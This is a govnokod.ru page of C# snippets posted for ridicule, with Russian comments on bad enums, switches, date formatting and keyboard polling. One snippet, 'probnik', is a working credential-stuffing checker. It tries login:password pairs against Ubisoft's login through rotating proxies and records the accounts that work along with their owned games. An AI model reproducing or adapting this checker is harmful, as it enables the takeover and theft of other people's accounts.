- 1
_members[member.Member.MemberExpression.Member] = member.Member;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+5
_members[member.Member.MemberExpression.Member] = member.Member;
В исходниках Linq2db
+125
public enum ActionTypes
{
view = 1,
edit = 2,
all_view,
inc_view = 3,
inn_view = 4,
order_view = 5,
out_view = 6,
compl_view = 7
}
Три часа искал в чем баг, перерыл весь код, а оказалось...бля...
+146
public ActionResult EditorValueChange(string value, string editor)
{
switch (editor)
{
case "LastName": Session["LastName"] = value; break;
case "FirstName": Session["FirstName"] = value; break;
case "MiddleName": Session["MiddleName"] = value; break;
case "PhoneMobil": Session["PhoneMobil"] = value; break;
case "PhoneHome": Session["PhoneHome"] = value; break;
case "Birthday": Session["Birthday"] = value; break;
case "HeadOfGroupId": Session["HeadOfGroupId"] = value; break;
}
return Json(true);
}
Может еще "default: Session[editor] = value; break;" добавить?)
+143
switch (editor)
{
case "LastName": Session["LastName"] = value; break;
case "FirstName": Session["FirstName"] = value; break;
case "MiddleName": Session["MiddleName"] = value; break;
case "PhoneMobil": Session["PhoneMobil"] = value; break;
case "PhoneHome": Session["PhoneHome"] = value; break;
case "Birthday": Session["Birthday"] = value; break;
case "HeadOfGroupId": Session["HeadOfGroupId"] = value; break;
}
+143
private static HashSet<char> GetValidNestedQuerySymbols()
{
var result = new HashSet<char>();
var symbols = new List<int>
{
0x007B, //{
0x007D, //}
0x003D, //=
0x003A //:
};
foreach (var symbol in symbols)
result.Add(Convert.ToChar(symbol));
return result;
}
глубина мысли писавшего выбивает из колеи каждый раз, когда я смотрю на это...
+141
private void FontsComboBoxSelectionChanged(object sender, SelectionChangedEventArgs e)
{
ExampleTextBox.FontFamily = ((FontFamilyItem)FontsComboBox.SelectedItem).FontFamily;
//combobox values disappears after selected
//TODO: OPTIMIZE
FontsComboBox.SelectionChanged -= FontsComboBoxSelectionChanged;
int iSelIndex = FontsComboBox.SelectedIndex;
FontsComboBox.Items.Clear();
foreach (var item in _aFonts)
FontsComboBox.Items.Add(item);
FontsComboBox.SelectedIndex = iSelIndex;
FontsComboBox.SelectionChanged += FontsComboBoxSelectionChanged;
}
Значения из списка ComboBox'а исчезают после выбора их.
Решил проблему костылем говнокодом. Правда теперь стало чуть-чуть тормозить. Но на это можно забить.
+131
private static string GetKeyCode()
{
string ret = null;
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(1);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
if ((WinApi.Keys) i == WinApi.Keys.VkReturn)
{
return ret;
}
var s = KeyToChar((WinApi.Keys)i);
ret = ret + s;
}
}
}
}
private static char KeyToChar(WinApi.Keys key)
{
return unchecked((char)MapVirtualKeyW((uint)key, MAPVK_VK_TO_CHAR)); // Ignore high word.
}
private const uint MAPVK_VK_TO_CHAR = 2;
[System.Runtime.InteropServices.DllImportAttribute("user32.dll")]
public static extern uint MapVirtualKeyW(uint uCode, uint uMapType);
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
И вот такое бывает - аутсорсеры плагинов к нашему продукту так слушают клавиатурный ввод... (facepalm)
!!! Thread.Sleep(1);
!!! for (Int32 i = 0; i < 255; i++) - проверяют, не нажимали ли что-то
+145
// Я не знаю, на чём до c# писал человек, который пишет вот такой код...
// sum типа decimal. Видимо, надо умножить её на 100 и передать округленной до целого куда-то в текстовом виде.
UInt32 summ_st = Convert.ToUInt32((Math.Round(sum * 100)).ToString("G"));
string cmd = "" + summ_st.ToString() + "";
И такое приходит от аутсорсеров
+143
public void probnik(string login, string pass)
{
EventHandler method = null;
try
{
string str = string.Empty;
int num = 0;
CookieCollection cookies = new CookieCollection();
Label_0033:
try
{
IProxy proxy;
if (this.useproxy.Checked)
{
goto Label_00A2;
}
string str5 = "POST";
CookieCollection cookies3 = cookies;
str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str5, false, false, cookies3, null, new HTTPHeaderItem[0]).Headers);
Label_0089:
if (str.Contains("Set-Cookie") || (num == 1))
{
goto Label_011C;
}
num++;
goto Label_0033;
Label_00A2:
proxy = this.proxies[this.r.Next(this.proxies.Count)];
CookieCollection cookies2 = cookies;
string str4 = "POST";
str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str4, false, false, cookies2, proxy, new HTTPHeaderItem[0]).Headers);
goto Label_0089;
}
catch
{
goto Label_0033;
}
Label_011C:
if (str.Contains("UBIAuth"))
{
if (method == null)
{
method = delegate(object sender, EventArgs e)
{
this.goodslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.goodslabel.Text) + 1));
File.AppendAllText(Program.time + "//UBI(в который зашел аккаунт).txt", login + ":" + pass + "\r\n");
};
} //смотрим какие игры
base.Invoke(method);
string str7 = "GET";
CookieCollection cookies4 = cookies;
HTTPHeaderItem[] additionalHeaders = new HTTPHeaderItem[] {
new HTTPHeaderItem("X-Requested-With", "XMLHttpRequest"),
new HTTPHeaderItem("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104")
};
string str3 = Convert.ToString(VkRequest.Request("http://uplay.ubi.com/en-GB/games/get-games/filterType/owned/filterValue/onlyOwned", (string)null, str7, false, false, cookies4, null, additionalHeaders).Content);
string games = string.Empty;
string platform = string.Empty;
if (str3.Contains("name"))
{
games = this.parse(str3, "\"g2wEnabled\":\"1\",\"name\":\"", "\"", "");
platform = parse(str3, "platforms\":", ",\"", "");
Invoke(new EventHandler(delegate
{
if (soundgood.Checked)
{
System.Console.Beep(1000, 500);
}
int k = games.Split('\n').Count();
this.GridLog.Rows.Add(new object[] { login, pass, k.ToString() });
File.AppendAllText(Program.time + "//с игрой.txt", login + ":" + pass + "\r\n" + " ====Games====" + "\r\n" + games + "|" + platform + "\r\n" + " ==============" + "\r\n");
this.checks.Text = Convert.ToString((int)(Convert.ToInt32(this.checks.Text) + 1));
}));
}
else
{
Invoke(new EventHandler(delegate
{
this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
}));
}
}
else
{
Invoke(new EventHandler(delegate
{
this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
}));
}
}
catch
{
}
}
Отсылаем Get-запросы
+141
private string Time
{
get
{
DateTime d;
d = DateTime.Now;
string t;
// Get the Date
if (d.Month.ToString().Trim().Length == 1)
{
t = "0" + d.Month.ToString().Trim() + "/";
}
else
{
t = d.Month.ToString().Trim() + "/";
}
if (d.Day.ToString().Trim().Length == 1)
{
t += "0" + d.Day.ToString().Trim() + "/";
}
else
{
t += d.Day.ToString().Trim() + "/";
}
t += d.Year.ToString().Trim() + " ";
// Get the time
if (d.Hour.ToString().Trim().Length == 1)
{
t += "0" + d.Hour.ToString().Trim() + ":";
}
else
{
t += d.Hour.ToString().Trim() + ":";
}
if (d.Minute.ToString().Trim().Length == 1)
{
t += "0" + d.Minute.ToString().Trim() + ":";
}
else
{
t += d.Minute.ToString().Trim() + ":";
}
if (d.Second.ToString().Trim().Length == 1)
{
t += "0" + d.Second.ToString().Trim() + ".";
}
else
{
t += d.Second.ToString().Trim() + ".";
}
if (d.Millisecond.ToString().Trim().Length == 1)
{
t += "00" + d.Millisecond.ToString().Trim() + ".";
}
else if (d.Millisecond.ToString().Trim().Length == 2)
{
t += "0" + d.Millisecond.ToString().Trim() + ".";
}
else
{
t += d.Millisecond.ToString().Trim() + ".";
}
return t;
}
}
Классическая вариация на тему DateTime, чтобы получить 07/10/2015 18:45:03.647.